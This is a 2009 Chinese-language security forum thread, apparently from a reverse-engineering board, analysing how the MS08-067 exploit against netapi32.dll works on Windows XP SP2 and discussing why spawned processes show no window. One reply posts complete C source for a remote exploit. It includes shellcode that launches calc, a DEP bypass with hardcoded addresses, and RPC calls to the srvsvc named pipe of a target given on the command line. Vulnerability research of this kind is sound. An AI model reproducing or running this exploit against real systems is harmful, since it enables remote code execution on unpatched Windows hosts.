一 前言
    EMM的Exploit方法很巧妙,尤其是对于我这种菜鸟来说,更是耳目一新。尽管MS08-067漏洞已经过去N久了,但貌似还没有分析Exploit的文章出现,看来大牛们都懒得写,所以我贴篇自己的调试总结出来,与各位小菜们共勉。如有雷同,实属巧合。
    
    关于漏洞本身的分析文章已经铺天盖地,所以此处不再重复,有不清楚的请先复习下。注意测试之前要关闭DEP保护。
    
二 调试XPSP2_2976版本
    我测试的netapi32.dll版本是2976,在XPSP2平台上成功,这部分的调试将以此版本为主;
    根本上来说,Exploit的难点就是如何在栈的低址构造出L'\\'字符,即0x005c,所以EMM的思路就是在调用NetpwPathCanonicalize前,先调用一个其它函数,帮助在栈的低址构造出L'\\'字符。这个函数就是NetpwNameCompare,调用代码:    
    

代码:
// srvsvc_NetPRNameCompare -> NetpwNameCompare
      func23(L"ph4nt0m",(wchar_t *)"\x53\x00\x56\x89\x56\x89\x56\x89\x56\x89",(wchar_t *)"\x4D\x00\x56\x89\x56\x89",4,0);
从上面可以看到,NetpwNameCompare的输入参数中有两个都是特定的Unicode字符串,用OD附加到svchost.exe上调试,运行流程如下:

NetpwNameCompare
    |__CompareOemNames
        |__RtlUpcaseUnicodeToOemN

最后调用的是RtlUpcaseUnicodeToOemN,它的主要功能就是把一个Unicode字符串转换为大写的OEM字符串,函数原型如下:
        
NTSTATUS  RtlUpcaseUnicodeToOemN( 
   OUT PCHAR  OemString,    
   IN ULONG  MaxBytesInOemString,    
   OUT PULONG  BytesInOemString  OPTIONAL,    
   IN PWSTR  UnicodeString,    
   IN ULONG  BytesInUnicodeString    
   );

自己可以写个测试代码来看看,输入的这两个字符串经过RtlUpcaseUnicodeToOemN调用后,会变成什么样子捏?
    
代码:
typedef LONG NTSTATUS;
typedef NTSTATUS  (WINAPI *pRtlUpcaseUnicodeToOemN)( 
   OUT PCHAR  OemString,    
   IN ULONG  MaxBytesInOemString,    
   OUT PULONG  BytesInOemString  OPTIONAL,    
   IN PWSTR  UnicodeString,    
   IN ULONG  BytesInUnicodeString    
   );
   
    NTSTATUS status;
    pRtlUpcaseUnicodeToOemN RtlUpcaseUnicodeToOemN;
    CHAR    OemString1[100] = {0};
    CHAR    OemString2[100] = {0};
    ULONG   MaxBytesInOemString1 = sizeof(OemString1);
    ULONG   MaxBytesInOemString2 = sizeof(OemString2);
    ULONG   BytesInOemString = 0;
    CHAR    UnicodeString1[] = "\x53\x00\x56\x89\x56\x89\x56\x89\x56\x89";
    CHAR    UnicodeString2[] = "\x4D\x00\x56\x89\x56\x89";
    ULONG   BytesInUnicodeString1 = sizeof(UnicodeString1)-sizeof(UnicodeString1[0]);
    ULONG   BytesInUnicodeString2 = sizeof(UnicodeString2)-sizeof(UnicodeString2[0]);

    hLib = LoadLibrary("ntdll.dll");
    RtlUpcaseUnicodeToOemN = (pRtlUpcaseUnicodeToOemN)GetProcAddress(hLib, "RtlUpcaseUnicodeToOemN");
    
    status = RtlUpcaseUnicodeToOemN(OemString1,
        MaxBytesInOemString1,
        &BytesInOemString,
        (PWSTR)UnicodeString1,
        BytesInUnicodeString1);
        
    status = RtlUpcaseUnicodeToOemN(OemString2,
        MaxBytesInOemString2,
        &BytesInOemString,
        (PWSTR)UnicodeString2,
        BytesInUnicodeString2);
    
    FreeLibrary(hLib);
    
用VC6编译就可以了,调试运行它可以看到:
输入的第一个字符串: \x53\x00\x56\x89\x56\x89\x56\x89\x56\x89
转换后会变成: 53 D2 5C D2 5C D2 5C D2 5C 00
第二个字符串: \x4D\x00\x56\x89\x56\x89
转换后会变成: 4D D2 5C D2 5C 00
        
    可见,经过RtlUpcaseUnicodeToOemN转换后,栈缓冲区中就会存放着L'\\'(0x005C)字符,虽然CompareOemNames函数返回后栈就无效了,但0x005C字符还在;紧接着在后面调用NetpwPathCanonicalize,由于0x005C正好位于栈的低地址,因此能被成功搜索到,之后调用wcscpy,由于源缓冲区是可控制的输入参数,因此只要精确覆盖wcscpy的返回地址,就能得到CPU的控制权了;
    另外,由于是在MS08-067函数返回前执行的wcscpy,因此即使MS08-067函数有GS保护也没用。

三 调试XPSP2_2180版本
   在测试2180版本的netapi32.dll时,发现总是不能成功,所以又调试了一遍,意外发现了2180版本的另外一个BUG,即CanonicalizePathName的栈缓冲区在某些情况下会导致没有初始化就使用了,所以导致Exploit不能成功。它的输入参数如下:



用IDA分析它的流程可知,如果Prefix的长度不为0,那么它执行如下操作:
代码:
wcscpy(Buffer, Prefix);
wcscat(Buffer, L'\\');
wcscat(Buffer, PathName);
如果Prefix的长度为0,执行如下操作:
代码:
wcscat(Buffer, PathName);
 
从这里就可以看出问题来了,如果我们输入的Prefix长度是0,那么Buffer缓冲区还没有被初始化就使用了。下图显示的就是执行wcscat前的情况,



可以看到这个缓冲区的起始数据正好不是0,开始两个字节是0003,所以wcscat的目标缓冲区将是从0003之后地址开始,下图显示的是执行wcscat之后,



现在找到Exploit对于XPSP2_2180版本无效的原因了。由于这个缓冲区的开头夹杂了随机数据,在进入到带漏洞的MS08-067函数后,无法通过验证,早早就退出了,所以Exploit无法成功。不过,这个BUG在2180版本之后已被改正,例如前面讲到的2976版本,在wcscat之前对Buffer缓冲区的开头数据赋了初值0。

四 问题 
自己把Shellcode替换为创建calc.exe进程,测试成功,如下图所示:



但是由于calc.exe进程是在svchost.exe中创建的,所以能够看到创建成功,却无法显示出calc的GUI界面,不知道这种情况下,有什么办法可以让calc弹出GUI来?

  • 标 题:答复
  • 作 者:安摧
  • 时 间:2009-01-13 18:54

我之前也是遇到calc不弹出gui的情况,不清楚你的shellcode中是不是用的WinExec函数,如果是,那么:
UINT WinExec(
  LPCSTR lpCmdLine,  // command line
  UINT uCmdShow      // window style,尝试设置为SW_SHOW或者其他合适值
);

  • 标 题:答复
  • 作 者:vxasm
  • 时 间:2009-01-13 20:32

直接用Metasploit生成的Shellcode,估计是CreateProcess吧。
貌似是因为服务进程不带GUI,并且和用户进程所用桌面不同的缘故,好像比较复杂。

  • 标 题:答复
  • 作 者:安摧
  • 时 间:2009-01-14 12:53

BOOL CreateProcess(
  LPCTSTR lpApplicationName,                 // name of executable module
  LPTSTR lpCommandLine,                      // command line string
  LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD
  LPSECURITY_ATTRIBUTES lpThreadAttributes,  // SD
  BOOL bInheritHandles,                      // handle inheritance option
  DWORD dwCreationFlags,                     // creation flags
  LPVOID lpEnvironment,                      // new environment block
  LPCTSTR lpCurrentDirectory,                // current directory name
  LPSTARTUPINFO lpStartupInfo,               // startup information, 如果设定为NULL,继承父进程的STARTUPINFO
  LPPROCESS_INFORMATION lpProcessInformation // process information
);

typedef struct _STARTUPINFO { 
    DWORD   cb; 
    LPTSTR  lpReserved; 
    LPTSTR  lpDesktop; 
    LPTSTR  lpTitle; 
    DWORD   dwX; 
    DWORD   dwY; 
    DWORD   dwXSize; 
    DWORD   dwYSize; 
    DWORD   dwXCountChars; 
    DWORD   dwYCountChars; 
    DWORD   dwFillAttribute; 
    DWORD   dwFlags; 
    WORD    wShowWindow; 
    WORD    cbReserved2; 
    LPBYTE  lpReserved2; 
    HANDLE  hStdInput; 
    HANDLE  hStdOutput; 
    HANDLE  hStdError; 
} STARTUPINFO, *LPSTARTUPINFO; 

忒麻烦了点~~~~

  • 标 题:答复
  • 作 者:liangyu
  • 时 间:2009-01-15 01:32

1.wcscpy和上一层函数都没有栈cookie保护,再上一层函数就有了。因此,覆盖下面两层函数的返回地址都不会有问题,通常是覆盖wcscpy的返回地址跳到一个可执行的区域(return2libc),然后去掉DEP的保护。然后就可高枕无忧地跳回栈中的shellcode去执行。
2.看不到窗体的确是因为服务要指定用户的桌面。否则它怎么知道要把窗体显示在谁的桌面上?
3.看看我这个EXP,可以过DEP的。请在WINXP SP3下测试。


UCHAR ucSC_SP3[] =
"\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xF4\x53\x56\xBF"
"\xAD\x23\x86\x7C"//winexec地址
"\xFF\xD7\x53\xBF"
"\xE8\xC0\x80\x7C"//ExitThread地址
"\xFF\xD7";

// 去掉DEP
void MakeExpData(LPVOID lpBuf)
{
  LPBYTE lpBt = (LPBYTE)lpBuf;
  int i = 0;
  for (i = 0; i < 512*2; i +=4)
  {
    *(long*)(lpBt + i) = 0x90909090;
  }

  //注意,下面构造的串要注意字节对齐问题(4字节),否则数值将会被拆散
  memcpy(lpBt, L"\\a\\..\\..\\abcd", wcslen(L"\\a\\..\\..\\abcd")*2);
  //准确的存放返回地址的地方应该距离上面最后一个'\'是0xA0
  //0x7C956831, 调用NtSetInformationProcess的地址
  *(long*)(lpBt + 0x8*2 + 0xa0 - 4) = 0x00030080;
  *(long*)(lpBt + 0x8*2 + 0xa0) = 0x58fc17c2;
  //后面跟一个返回地址, 与前面空出4个字节是给pop ebp用
  *(long*)(lpBt + 0x8*2 + 0xa0 + 8) = 0x7ffa4512;
  //在后面添加shellcode,空出4个字节是给ret 4用
  memcpy(lpBt + 0x8*2 + 0xa0 + 16, ucSC_SP3, sizeof(ucSC_SP3)-1);

}

//code by liangyu
int main(int argc, char *argv[])
{
  RPC_STATUS status;
  LPBYTE lpObjUuid = /*NULL*/"4b324fc8-1670-01d3-1278-5a47bf6ee188";//这个GUID可以为NULL,RPC文件含有
  LPBYTE lpProtSeq = "ncacn_np";
  LPBYTE lpNetworkAddr = argv[1];
  LPBYTE lpEndPoint = /*"\\pipe\\browser"*/"\\pipe\\srvsvc";//这两个命名管道都可以
  LPBYTE lpOptions = NULL;
  LPBYTE lpStringBinding = NULL;

  status = RpcStringBindingCompose(lpObjUuid, lpProtSeq, lpNetworkAddr, lpEndPoint, lpOptions, &lpStringBinding);
  if (status != RPC_S_OK)
  {
    printf("RpcStringBindingCompose FAILED!\r\n");
    return 0;
  }
  status = RpcBindingFromStringBinding(lpStringBinding, &srvsvc__MIDL_AutoBindHandle);
  if (status != RPC_S_OK)
  {
    RpcStringFree(&lpStringBinding);
     printf("RpcBindingFromStringBinding FAILED!\r\n");
    return 0;
  }

  RpcTryExcept
  WCHAR wcPath[512] = {0};
  BYTE btOut[1024] = {0};
  long lType = 100;
  long lFlag = 0;
  //func23,即NetpwNameCompare(0x5fddf3ef)
  func23(L"exploit",(wchar_t *)"\x53\x00\x56\x89\x56\x89\x56\x89\x56\x89",(wchar_t *)"\x4D\x00\x56\x89\x56\x89",4,0);//在栈中构造一个‘\’痕迹

  //开始生成并发送EXP数据
  MakeExpData(wcPath);
  //调用NetpwPathCanonicalize
  func1f(L"exploit", wcPath, btOut, 1024, L"", &lType, lFlag);
  RpcExcept(EXCEPTION_EXECUTE_HANDLER)
  printf("RpcExceptionCode:%d\r\n", RpcExceptionCode());
  RpcEndExcept

  RpcStringFree(&lpStringBinding);
  RpcBindingFree(&srvsvc__MIDL_AutoBindHandle);

  return 0;
}

  • 标 题:答复
  • 作 者:雪人
  • 时 间:2009-01-15 11:48

至于为什么弹不出来界面,在西方失败兄的《深入浅出MS06-040》已经讲的很明白了。
这里引用下给大家解释下:
在shellcode中的相应位置修改一下函数地址,赶快往外发吧!我当时在VC里点感叹号运行的时候就像星矢对波士顿射黄金箭的心情一样充满了善良美好的期望,背负了维护世界和平的重任,为了自由为了亲人为了朋友为了爱而让它运行。
结果很不幸,靶机并没有弹出我们希望的BOX,但是也没有像前面攻击失败那样搞的系统崩溃而重启。如果你有声卡连着音响的话,你应该能听到一声MessageBox弹出时那熟悉的“咚”的一声;如果没有声卡的话主板也会“嘀”一下的。用OLLYDBG跟踪调试一下,发现程序如我们设计的那样在函数返回时执行了call ecx,然后顺着shellcode执行,但到了call MessageBoxA的时候,无法返回,程序挂起了。我跟踪进MessageBoxA这个调用到最底层,大概是在获得最顶端窗口句柄的时候出的问题。不停的发溢出攻击,在靶机的任务管理器里看service.exe这个进程会不停的增加内存使用,同时也不停的“咚咚”或者“嘀嘀”。
这是为什么呢? 我觉得这个现象可以这样解释:由于我们溢出的进程service.exe是一个服务,服务是不和用户界面打交道的,在用户登录操作系统之前就已经开始在后台运行了,虽然它也加载user32.dll,但是在真正涉及到UI的时候,它甚至无法知道要把这个框框pop到哪个用户的桌面上。所以说这里我们实际上已经攻击成功了,MessageBox是踏踏实实的弹出来了,那一下“咚”或者“嘀”可以作证,系统没有崩溃可以作证。OLLYDBG调试时程序挂起应该是框框弹出来,等待鼠标点击“确定”按钮的消息,以便退出函数调用,而这个框框又不知道弹到哪里去了,显示不在桌面上,所以我们没办法点按钮,也就自然退不出函数调用了,这也解释了service.exe很有规律的不断增加内存使用的现象。
综上,结合RPC调用编程和本地溢出实验中的技术,我们已经可以让远程目标机执行任意的代码了(虽然只听到响声没看到框框)。

  • 标 题:答复
  • 作 者:scz
  • 时 间:2009-01-15 12:20

引用:
最初由 vxasm发布 查看帖子
必须在服务初始化时与用户进程的Desktop绑定,麻烦。
你的shellcode在CreateProcess时增加对窗口站、桌面的设置,最简单的比如:

    si.lpDesktop                        = "WinSta0\\Default";

&si作为CreateProcess()的倒数第二个形参,具体的可查MSDN。

  • 标 题:答复
  • 作 者:vxasm
  • 时 间:2009-01-15 12:24

引用:
最初由 netwind发布 查看帖子
不知道是不是 这样的问题:
http://bbs.pediy.com/showthread.php?t=76204

"另外我发现公布的exploit 好几个版本(metasploit除外没细看)都是
fun(".\\\\x\..\..\xxxxxxxx..."...
不错,在2180版本上不成功是因为没打补丁的缘故,但是如果采用Prefix加'.'的办法,则也可以成功。
代码:
func1f(L"EMM!",(wchar_t *)Buff,Buff2,1000,L".",(DWORD *)Buff3,1);

.....

  • 标 题:答复
  • 作 者:vxasm
  • 时 间:2009-01-15 12:26

引用:
最初由 scz发布 查看帖子
你的shellcode在CreateProcess时增加对窗口站、桌面的设置,最简单的比如:

    si.lpDesktop                        = "WinSta0\\Default";

&si作为CreateProcess()的...
感谢scz,这种方法貌似很简单,但如果不是CreateProcess,而是WinExec之类的,是不是就没办法了呢?呵呵。

我试一下。

另外,最新调试了下,发现MetaSploit这段创建calc的Shellcode用的是Winexec。

  • 标 题:答复
  • 作 者:Shminow
  • 时 间:2009-02-02 18:10

和MS06-040非常相似的问题```` `都是同一个函数出现的问题.